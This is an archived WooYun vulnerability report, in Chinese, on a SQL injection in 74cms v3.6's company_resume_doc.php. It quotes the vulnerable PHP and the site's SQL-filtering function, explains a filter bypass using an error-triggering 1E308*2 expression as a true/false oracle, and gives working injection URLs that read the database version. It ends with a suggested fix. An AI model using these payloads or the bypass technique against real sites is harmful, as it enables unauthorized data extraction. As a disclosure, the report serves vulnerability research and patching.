当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0150114

漏洞标题:74cms waf绕过&SQL注入漏洞(获取部分数据)

相关厂商:74cms.com

漏洞作者: xiao.k

提交时间:2015-10-29 10:09

修复时间:2016-02-01 10:10

公开时间:2016-02-01 10:10

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-29: 细节已通知厂商并且等待厂商处理中
2015-11-03: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航
2015-12-28: 细节向核心白帽子及相关领域专家公开
2016-01-07: 细节向普通白帽子公开
2016-01-17: 细节向实习白帽子公开
2016-02-01: 细节向公众公开

简要描述:

所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。

详细说明:

有问题的代码位于`user\company\company_common.php`

<?php
define('IN_QISHI', true);
require_once(dirname(__FILE__).'/company_common.php');
$smarty->assign('leftmenu',"recruitment");
//获取y_id并赋值给$id
$id =!empty($_REQUEST['y_id'])?$_REQUEST['y_id']:showmsg("你没有选择简历!",1);
if (is_array($id))
{
// 已下载的简历 批量导出为word 先查询简历id
$sqlin=implode(",",$id);
//以逗号分割内容,并未加单引号做限制,也未进行任何过滤。
$idarr = $db->getall("select resume_id from ".table('company_down_resume')." where did IN ({$sqlin})");
foreach ($idarr as $key=>$value) {
$idarr[$key]=$value['resume_id'];
}
$id=$idarr;
}
else
{
$id=array($id);
}
$sqlin=implode(",",$id);
//在这里做了一次过滤,但是已经错过了时机。
if (!preg_match("/^(\d{1,10},)*(\d{1,10})$/",$sqlin)) return false;
$rsume_sql = "select * from ".table('resume')." where id IN ({$sqlin}) ";
$result=$db->getall($rsume_sql);


74cms在进入sql执行之前,还经过一次语句检测。

static function CheckSql($db_string,$querytype='select')
{
global $QS_pwdhash;
$clean = '';
$error='';
$old_pos = 0;
$pos = -1;
$log_file = QISHI_ROOT_PATH.'/data/'.md5($QS_pwdhash).'_safe.txt';
$userIP = getip();
$getUrl =request_url();
$time = date('Y-m-d H:i:s');
if($querytype=='select')
{
$notallow1 = "[^0-9a-z@\._-]{1,}(sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}";
if(preg_match("/".$notallow1."/i", $db_string))
{
fputs(fopen($log_file,'a+'),"$userIP||$time\r\n$getUrl\r\n$db_string\r\nSelectBreak\r\n===========\r\n");
exit("您输入的内容不符合要求请正确输入!");
}
}
//完整的SQL检查
while (TRUE)
{
$pos = strpos($db_string, '\'', $pos + 1);
if ($pos === FALSE)
{
break;
}
$clean .= substr($db_string, $old_pos, $pos - $old_pos);
while (TRUE)
{
$pos1 = strpos($db_string, '\'', $pos + 1);
$pos2 = strpos($db_string, '\\', $pos + 1);
if ($pos1 === FALSE)
{
break;
}
elseif ($pos2 == FALSE || $pos2 > $pos1)
{
$pos = $pos1;
break;
}
$pos = $pos2 + 1;
}
$clean .= '$s$';
$old_pos = $pos + 1;
}
$clean .= substr($db_string, $old_pos);
$clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));
if (strpos($clean, '@') !== FALSE OR strpos($clean,'char(')!== FALSE OR strpos($clean,'"')!== FALSE
OR strpos($clean,'$s$$s$')!== FALSE)
{
$fail = TRUE;
if(preg_match("#^create table#i",$clean)) $fail = FALSE;
$error="unusual character";
}
elseif (strpos($clean, '/*') > 2 || strpos($clean, '--') !== FALSE || strpos($clean, '#') !== FALSE)
{
$fail = TRUE;
$error="comment detect";
}
elseif (strpos($clean, 'sleep') !== FALSE && preg_match('~(^|[^a-z])sleep($|[^[a-z])~is', $clean) != 0)
{
$fail = TRUE;
$error="slown down detect";
}
elseif (strpos($clean, 'benchmark') !== FALSE && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~is', $clean) != 0)
{
$fail = TRUE;
$error="slown down detect";
}
elseif (strpos($clean, 'load_file') !== FALSE && preg_match('~(^|[^a-z])load_file($|[^[a-z])~is', $clean) != 0)
{
$fail = TRUE;
$error="file fun detect";
}
elseif (strpos($clean, 'into outfile') !== FALSE && preg_match('~(^|[^a-z])into\s+outfile($|[^[a-z])~is', $clean) != 0)
{
$fail = TRUE;
$error="file fun detect";
}
if (!empty($fail))
{
fputs(fopen($log_file,'a+'),"$userIP||$time\r\n$getUrl\r\n$db_string\r\n$error\r\n===========\r\n");
exit("您输入的内容不符合要求请正确输入!");
}
else
{
return $db_string;
}
}


这段代码主要是检查语句是否合法,是否有注入的情况。并且着重检测了 **sleep、benchmark、load_file、outfile** ,主要是防止盲注入。
盲注大体分为三种形式:
第一种:根据页面的差异性猜解数据。比较常见的例如二分法猜解
第二种:根据页面的返回时间长短进行判断。
第三种:根据页面的报错内容,进行返回数据。
第一种方法,此方法利用起来有限制,因为如果要利用这个代码。最终会被下方语句检查到,最终返回一个空白页面。不论执行成功还是失败,都会显示空白页面。

if (!preg_match("/^(\d{1,10},)*(\d{1,10})$/",$sqlin)) return false;


第二种方法,上方的CheckSql函数已经把第二种方式否决了。
第三种方法,由于程序已经屏蔽了sql语句的错误内容,仅提示如下内容。那么第三种方法也无法利用。

Error:Query error:错误的sql语句


在这里我们需要找寻一个新的方式完成注入。
根据上方的代码,我们的思路如下:当我们的猜解语句为真时,页面返回空白。也就是被下方的`preg_match`截断。如果我们的猜解语句为假时,抛出异常。这里我选用的是 `1E308*2`这个技巧。当值过大时,mysql会抛出异常。
最终构造的sql语句为

select resume_id from qs_company_down_resume where did IN (1,2) or IF( ord(mid(version(),1,1)) = 50 ,1,1E308*2) and (1,2) = (1,2);


当 `ord(mid(version(),1,1)) = 50`执行结果为真时,IF语句会执行到第二个参数,也就是 1, 页面返回空白。当执行结果为假时,IF语句会执行到第三个参数,触发`1E308*2`报错。

漏洞证明:

在此演示下获取数据库的version

版本.JPG


当提交**.**.**.**/official/74cms_v3.6_20150923/74cms_v3.6_20150923/upload/user/company/company_resume_doc.php?y_id[]=2)%20or%20IF(%20ord(mid(version(),1,1))=48,1E308*2,1)%20and%20(1,2)%20=%20(1&y_id[]=2
是页面为空
当提交
**.**.**.**/official/74cms_v3.6_20150923/74cms_v3.6_20150923/upload/user/company/company_resume_doc.php?y_id[]=2)%20or%20IF(ord(mid(version(),1,1))=49,1E308*2,1)%20and%20(1,2)%20=%20(1&y_id[]=2
页面提示如下
Error:Query error:select resume_id from qs_company_down_resume where did IN (2) or IF(ord(mid(version(),1,1))=49,1E308*2,1) and (1,2) = (1,2)
当提交
**.**.**.**/official/74cms_v3.6_20150923/74cms_v3.6_20150923/upload/user/company/company_resume_doc.php?y_id[]=2)%20or%20IF(ord(mid(version(),1,1))=50,1E308*2,1)%20and%20(1,2)%20=%20(1&y_id[]=2
页面再次为空
说明version的第一位的ASCII为 49 ,与之前提到的数据相符。

修复方案:

将正则判断语句提前,放到以下语句之前
$idarr = $db->getall("select resume_id from ".table('company_down_resume')." where did IN ({$sqlin})");

版权声明:转载请注明来源 xiao.k@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2016-02-01 10:10

厂商回复:

漏洞Rank:4 (WooYun评价)

最新状态:

暂无